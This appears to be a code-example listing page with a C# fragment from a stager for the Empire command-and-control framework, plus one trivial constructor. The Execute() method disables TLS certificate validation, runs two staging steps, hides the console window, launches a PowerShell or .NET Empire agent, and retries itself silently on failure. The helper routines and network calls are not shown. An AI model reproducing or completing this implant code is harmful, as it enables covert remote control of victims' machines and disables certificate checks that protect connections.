コード例 #1
0
        ////////////////////////////////////////////////////////////////////////////////
        public void Execute()
        {
            byte[] stage1response;
            byte[] stage2response;
            ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(
                delegate
            {
                return(true);
            }
                );

            try
            {
                stage1response = Stage1();
#if (PRINT)
                Console.WriteLine("Stage1 Complete");
#endif
                try
                {
                    stage2response = Stage2(stage1response);
#if (PRINT)
                    Console.WriteLine("Stage2 Complete");
#endif
                    try
                    {
#if (PRINT)
                        Console.WriteLine("Launching Empire");
                        IntPtr handle = Misc.GetConsoleWindow();
                        Misc.ShowWindow(handle, Misc.SW_HIDE);
#endif
                        if (sessionInfo.GetAgentLanguage() == "powershell" ||
                            sessionInfo.GetAgentLanguage() == "ps" ||
                            sessionInfo.GetAgentLanguage() == "posh")
                        {
                            PowershellEmpire(stage2response);
                        }
                        else if (sessionInfo.GetAgentLanguage() == "dotnet" ||
                                 sessionInfo.GetAgentLanguage() == "net" ||
                                 sessionInfo.GetAgentLanguage() == "clr")
                        {
                            DotNetEmpire();
                        }
                    }
                    catch
                    {
#if (PRINT)
                        Console.WriteLine("Empire Failure");
#endif
                        GC.Collect();
                        Execute();
                    }
                }
                catch
                {
#if (PRINT)
                    Console.WriteLine("Stage2 Failure");
#endif
                    throw;
                }
            }
            catch (WebException webError)
            {
                if ((int)((HttpWebResponse)webError.Response).StatusCode == 500)
                {
#if (PRINT)
                    Console.WriteLine("Stage1 Failure");
#endif
                    GC.Collect();
                    Execute();
                }
                else
                {
                    throw;
                }
            }
            catch (Exception error)
            {
#if (PRINT)
                Console.WriteLine("Stage1 Failure");
#endif
                Console.WriteLine(error.ToString());
            }
            finally
            {
                sessionInfo     = null;
                stagingKeyBytes = null;
                rsaCrypto       = null;
            }
        }
コード例 #2
0
 ////////////////////////////////////////////////////////////////////////////////
 // Default Constructor
 ////////////////////////////////////////////////////////////////////////////////
 internal Coms(SessionInfo sessionInfo)
 {
     this.sessionInfo = sessionInfo;
 }